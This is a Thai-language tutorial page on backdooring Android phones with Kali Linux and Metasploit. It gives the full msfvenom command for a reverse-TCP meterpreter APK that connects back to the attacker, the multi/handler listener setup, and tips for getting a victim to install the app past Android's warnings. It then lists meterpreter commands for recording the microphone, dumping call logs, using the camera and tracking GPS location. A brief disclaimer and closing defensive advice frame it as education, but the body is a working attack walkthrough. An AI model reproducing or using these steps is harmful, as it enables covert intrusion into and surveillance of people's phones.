Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบ >> Linux

วิธีเข้าใช้โทรศัพท์ Android ด้วย Kali Linux (เพื่อการศึกษาด้านความปลอดภัย)

ข้อจำกัดความรับผิดชอบ: บทความนี้เพื่อการศึกษาและวิจัยด้านความปลอดภัยเท่านั้น ไม่แนะนำให้แฮกโทรศัพท์ผู้อื่นโดยไม่ได้รับอนุญาต

สมาร์ทโฟน Android เป็นประตูเข้าสู่อุปกรณ์ IoT หลายอย่าง (Nest, Smart Lock, Doorbell Cam) หากผู้โจมตีเข้าถึงโทรศัพท์ได้จากระยะไกล จะควบคุมอุปกรณ์เหล่านั้นได้ บทความนี้สาธิตพื้นฐานการใช้ Kali Linux และ Metasploit (MSFVenom) สร้าง backdoor เข้า Android

พื้นฐาน

Kali Linux มีเครื่องมือครบครันสำหรับทดสอบการเจาะระบบ (Penetration Testing) เราจะใช้ MSFVenom สร้างเพย์โหลด (payload) สำหรับ Android ทำงานได้หลายแพลตฟอร์ม (Windows, Android, BSD, Java, PHP, เป็นต้น)

สร้างไฟล์ APK หลังคา (Backdoor)

  1. เปิดเทอร์มินัล รันคำสั่ง (แก้ไข IP และ PORT ให้ตรงกับเครื่องผู้โจมตี):
    msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 R > /root/LOCATION/hackand.apk
  2. หา IP ของเครื่องผู้โจมตีด้วย ifconfig (ปกติใช้พอร์ต 4444)
  3. ไฟล์ hackand.apk (ประมาณ 10 KB) จะถูกสร้างขึ้น — นี่คือไฟล์ exploit หลัก

ตั้งค่า Listener ด้วย msfconsole

  1. เริ่ม PostgreSQL และ msfconsole:
    service postgresql start
    msfconsole
  2. ใช้ multi-handler:
    use multi/handler
    set payload android/meterpreter/reverse_tcp
    set LHOST IP_ADDRESS
    set LPORT 4444
    exploit
  3. รอการเชื่อมต่อจากเป้าหมาย

ติดตั้ง APK บนโทรศัพท์เป้าหมาย

  • ส่งไฟล์ hackand.apk ไปยังโทรศัพท์ (USB, อีเมลชั่วคราว — Gmail/Yahoo มักบล็อกไฟล์นี้)
  • Android จะเตือนความเสี่ยง แต่ผู้ใช้สามารถกด "Install anyway" ได้ภายใน 20 วินาที
  • หลังติดตั้ง แอปอาจซ่อนตัวเองไว้ในระบบ

คำสั่งควบคุมผ่าน Meterpreter

หลังเชื่อมต่อสำเร็จ ใช้คำสั่งใน meterpreter (พิมพ์ help ดูรายการทั้งหมด):

  • record_mic: บันทึกเสียงจากไมโครโฟน
  • dump_calllog: ดึงประวัติโทรศัพท์
  • webcam_chat: เริ่มวิดีโอคอล
  • geolocate: ตรวจสอบตำแหน่ง GPS

หมายเหตุ: โทรศัพท์ Android รุ่นใหม่มีกลไกป้องกัน (Google Play Protect, การอนุมัติสิทธิ์ที่เข้มงวด) ทำให้ exploit แบบนี้ทำงานได้กับรุ่นเก่ามากกว่า

ข้อคิดเหลือ

การโจมตีแบบนี้แสดงถึงช่องโหว่ด้าน IoT Security ควรระวัง: ไม่ติดตั้งแอปจากแหล่งไม่ไว้วางใจ อัปเดตระบบตลอดเวลา ใช้ล็อกหน้าจอ และเปิด Google Play Protect